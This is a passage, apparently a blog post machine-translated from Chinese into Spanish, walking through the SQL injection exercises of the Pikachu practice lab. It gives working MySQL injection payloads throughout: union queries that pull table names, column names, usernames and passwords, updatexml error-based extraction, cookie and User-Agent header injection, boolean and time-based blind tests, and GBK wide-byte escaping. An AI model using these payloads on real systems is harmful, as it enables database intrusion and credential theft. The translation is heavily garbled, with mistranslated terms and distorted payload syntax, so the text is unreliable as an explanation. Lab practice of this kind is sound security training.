módulo de inyección Pikahu-SQL (inyección SQL) (artículos de prueba reales)

A-tipo digital implantación:

Después de ver la interfaz sólo encontramos introducir el ID (1-6), vamos a tratar:

 

 

 

 

 

Cuando se inyecta en la prueba, tenemos que pensar en cómo opera parámetros presentados detrás del escenario. Hemos presentado una d, devuelve el nombre del usuario y el buzón. Normalmente, nuestros datos están en la base de datos, y cuando presentamos el ello, el fondo se llevarán a este argumento para la consulta de bases de datos.

Porque está hecha con valores de parámetros de POST comunicado que pasamos, pasar a una variable, y luego consultar la base de datos. Así que supongo que sobre el fondo de la consulta sigue

 $ Id = $ _POST [ 'id']

1-6 seleccione el campo 1, campo 2 de la tabla donde se proporciona id = 1 $ id Identificación del presente documento

Nos quedamos atrapados en la mirada:

Luego regresar sólo un valor, y ahora soy un intruso, Intercepté el paquete, pero quiero que los otros datos en la biblioteca, cómo hacer ah!

 

 Mientras permitimos este tipo Ziheng, etc., independientemente de la entrada en consecuencia se devuelve el resultado correcto: Vamos a cambiar la identificación del estilo 1 o 1 = 1 intentamos de nuevo.

 

 En este punto en este caso es la presencia evidente de vulnerabilidad de inyección digital.

 

En segundo lugar, la inyección de caracteres (GET)

Vemos la interfaz son libres de entrar en algo: Al introducir el usuario no existe, se le pedirá que no existe el usuario. Además se trata de una petición GET parámetros habremos superado la URL

Debido a que este nombre de usuario de entrada de consulta es una cadena , por lo que la instrucción de consulta requiere una comilla simple . Supongo que el fondo de la instrucción de consulta SQL

el nombre GET = $ _ $ [ 'username'] 
campo SELECT 1, campo 2 de la tabla donde nombre de usuario = '$ nombre'

Tenemos que construir una cerrada, el cierre de la consulta en el fondo de la primera comilla simple, y luego comentar la segunda comilla simple, la estructura de carga útil es la siguiente

nombre de usuario 'or'1' = '1' #

MySQL Hay tres tipos de comentarios:

① #

② - (espacio de más atrás)

③ / ** /, comentarios en línea, este intermedio se puede utilizar en sentencias SQL. seleccionar * de * / / * SQLi usuarios;

 

Vemos toda la información de los usuarios están fuera, vándalos y éxito!

 

 

En tercer lugar, el tipo de búsqueda de inyección:

Me gustaría en primer lugar tratar simplemente introduzca efecto:

 

 

 Vemos que cuando los usuarios buscan las letras presentan en nuestro nombre de usuario, devuelve la correspondiente. Construimos una identidad!

instrucción SELECT:% L 'o' 1 '=' 1 '#

 

 

Cuatro, de tipo XX implantación :

Después de probar, se encontró que la inyección o el carácter, pero no es la misma que la forma de paquetes de nada! paréntesis cerrado sola no dice una sola cotización

g ') o 1 = 1 #

 

 

 

Cinco , donde una vez más una revisión de los conocimientos popularizar:

insertar / actualizar / borrar 注入

 

En estos tres casos, que no podemos usar la unión  para hacer la investigación conjunta, porque esto no es una consulta, pero la operación .

 

Sobre la base de la función de inyección dado (El updatexml)

 

función USADOS error: updatexml (), extractvalue (), floor ()

 

Sobre la base de la función que se le dé acceso a la información (seleccionar / insertar / actualizar / borrar)

 

Tips ideas:

 

  • Utilizar alguna función especifica en MySQL error de fabricación, información de error adquirió de la información de configuración
  • seleccionar / insertar / actualizar / borrar el error se puede utilizar para obtener información

 

condiciones de fondo:

 

  • No hay ningún mensaje de error de base de datos Fondo del blindaje se emitirá en la parte delantera cuando se produce un error en la gramática

 

Tres funciones de uso general

 

  • updatexml (): consulta de datos MySQL documento XML y modificar la función de XPath
  • extractvalue (): función de consulta XPath de datos MySQL documento XML
  • piso (): MySQL para la función de redondeo

 

updatexml ()

 

  documento XML valor cualificado nodo de cambio (buscar y reemplazar): updatexml () función función

 

  语法: UPDATEXML (XML_document, XPath_string, nuevo_valor)

 

  • El primer argumento: XML_document es el formato de cadena, el nombre del objeto documento XML, el texto del Doc

  • El segundo argumento: XPath_string (formato de cadena XPath), si no entender la sintaxis XPath, se puede encontrar tutoriales en línea. Pero menos que aquí.

  • El tercer argumento: nuevo_valor, el formato de cadena, en sustitución de los datos para encontrar cualificado

  • la sintaxis XPath: https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

 

XPath ubicación debe ser válida, de lo contrario se producirá un error

 

Nuestro personaje en experimentos plataforma de implantación pikachu, se usa para obtener el mensaje de error.

 

 

inyección de junta de unión: una palabra se adivina, y luego ir a juicio, hemos fase a la dicotomía.

El primer paso: determinar el número de campos: 1 ') orden por 4 #

 

 

1' ) para por 2 #

 

Conozca el número de campos es 2

Paso 2: Utilice una consulta conjunta para obtener la base de datos: pikachu

1' ) union select base de datos (), 2 #

El tercer paso: consulta la tabla de base de datos

1 ') union select esquema_tabla, nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla =' Pikachu '#

Paso cuatro: los usuarios de consulta nombre del campo en la tabla:

1 ') union select nombre_tabla, nombre_columna de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla =' # usuarios

Paso cinco: Investigación conjunta para obtener un nombre de usuario y contraseña

1' ) union select nombre de usuario, contraseña de los usuarios #

 

 

La inyección updatexml () está prestando tipo:

 

1' y updatexml (1, concat (0x7E, versión ()), 0) #

 Vemos la versión de MySQL de los datos. Luego ponemos versión () en la base de datos () será capaz de obtener el nombre de la base de datos.

1' y updatexml (1, concat (0x7E, base de datos ()), 0) #

查询 表 名: 1' y updatexml (1, concat (0x7E, (select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = 'pikachu')), 0) #

Sin embargo, se dará este caso, devuelve más de una fila de datos, puede mostrar una línea.

Solución: Podemos modificar (0,1 límite) Valor, la primera posición de los primeros datos 0

1' y updatexml (1, concat (0x7E, (select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = 'pikachu' límite de 0,1)), 0) #

 

Rendimientos por encima del primer nombre de tabla en los resultados de la consulta, si quiere consultar el nombre de la segunda tabla, que pueden limitar la declaración en límite de 1,1

El primer límite es los datos comienzan posición, el segundo número es el número de bandas inverosímiles

Eliminar todos los nombres de tabla, fue a buscar el campo 

1' y updatexml (1, concat (0x7E, (seleccione COLUMN_NAME de INFORMATION_SCHEMA.COLUMNS donde nombre_tabla = 'límite' usuarios 0,1)), 0) #

 

Por lo tanto, eliminar todos los nombres de columna. Vamos a ser capaces de obtener los datos

1' y updatexml (1, concat (0x7E, (select nombre de usuario de los usuarios limitan 0,1)), 0) ##

A continuación, obtener el nombre de usuario, a solicitud de contraseña, se encontró que la adición de demasiado cerca, no importa Baidu para encontrar codificador de MD5 puede ser traducido

1' y updatexml (1, concat (0x7E, (seleccione la contraseña de los usuarios donde nombre de usuario = 'admin' límite de 0,1)), 0) #

 

 

 extractvalue () y updatexml () son hermanos, el uso consistente.

 

Seis, inserción de inyección / actualización

Dado que la investigación conjunta no se podía utilizar, a continuación, se inyecta con un error!
1 'o updatexml (1, concat (0x7E, base de datos ()), 0) o' ráfaga base de datos:
INSERT el error:
Introduzca el relleno página de registro de la información de registro: entrar en una sentencia de consulta salió, no digo más.
 

 

 Se da actualizar la inyección:

              

 

Siete, la inyección de eliminación

 Mira a esta interfaz, vamos a dejar un mensaje, en el extremo donde se encuentra el avance Ahora, podemos quedar atrapados en el proceso de eliminación!

 

O una declaración de tipo de error:

id = 1 o updatexml (1, concat (0x7E, base de datos ()), 0)

Debido a que es en la url, por lo que es necesario codificar la URL:

 Vemos el éxito!

 

 

 

Ocho, encabezado HTTP de inyección:

Detallado HTTP Header
HTTP de transferencia (HyperTextTransferProtocol) de hipertexto Protocolo, una transmisión de protocolo común de la página actual. protocolo HTTP utiliza un modelo de petición / respuesta, un navegador u otro cliente realiza una solicitud, el servidor da una respuesta. En términos de la totalidad de los recursos de la red de transmisión, incluyendo el mensaje-cabecera y el mensaje de cuerpo en dos partes. Primera entrega pase mensaje-cabecera, es decir, http cabecera de información. http mensaje de cabecera se divide en cuatro secciones: cabecera en general, encabezado de solicitud, la respuesta de cabecera, encabezado entidad. Pero que la tarea era entender, la sensación es límites menos claros. Según la Wikipedia la forma de organización http encabezado de contenido, dividido en dos partes de petición y respuesta

En primer lugar, vamos a echar un vistazo a registro en la sesión y se encontró que no se puede inyectar en la cabeza, tenemos que quedar atrapados:

 

 

Nota: Nos vemos el agente de usuario, o una galleta puede inyectarse :

El admin 'y updatexml (1, concat (0x7E, la base de datos ()), 0) # Pega cookie: hormiga [uname] = más tarde encontró la inyección exitosa

El 1 'o updatexml (1, concat (0x7E, la base de datos ()), 0) o' User-Agent que sobresalen, como se muestra, haga clic en Ir, se puede encontrar.

 

 

Nueve, persianas de SQL (boolian Base EN )

Persianas, que se implantan, por lo general sólo devuelve un error o información incorrecta, por lo que una gran cantidad de trabajo, necesidad de ser paciente nuevo.

Por supuesto, podemos utilizar este tiempo para reducir la dicotomía Cantidad: 1 'y ASCII (substr (base de datos (), 1,1)) = 112 # echo es cierto, la primera palabra de adivinar la base de datos es p

1' y ASCII (substr ((select nombre_tabla de INFORMATION_SCHEMA.TABLES donde esquema_tabla = base de datos () límite de 0,1), 1,1))> # 112 回 显 错误 ...

 

 

Diez: persianas SQL (base de tiempo)

basado en el tiempo ciego, será devuelto cuando los datos son correctos retraso, no hay ningún error.

1 'y si ((substr (base de datos (), 1,1)) =' p', el sueño (5), null) juicio # make Si, por el nombre de la base de datos para llevar a cabo la base de datos, la primera base de datos por el substr personaje sacado, y comparar p, si p es igual a una pausa de cinco segundos y luego volver

 

XI byte de inyección de ancho

 

Cuando entramos en las comillas simples se evitan como \', no se pueden construir las sentencias SQL, pueden tratar de inyectar los bytes de ancho. GBK codificación, la codificación es backslash "% 5c", y "% df% 5c" tradicional está "conectado". En la plataforma de Pikachu, utilizará BurpSuite interceptado paquetes enviados al repetidor, la carga útil está escrito en ella cuando usamos la carga útil de ensayo habitual, no pueda ser ejecutado con éxito, la siguiente carga útil se quejará:

Kobe' o 1 = 1 #
Imagen técnica

Debido a que las comillas simples se escaparon en el fondo, más en la base de datos cuando se realiza una barra invertida. Podemos utilizar la siguiente carga útil, delante de la comilla simple plus% df, dejar que las cotizaciones de éxito solo salvaron.

 

 

12. Otras medidas fueron la inyección de SQL:

Además del método anterior, hay otras formas, tales como herramientas de palabra bruta de Troya sqlmap.

 

 

 

 

 

 

 

Supongo que te gusta

Origin www.cnblogs.com/li2019/p/12634879.html
Recomendado
Clasificación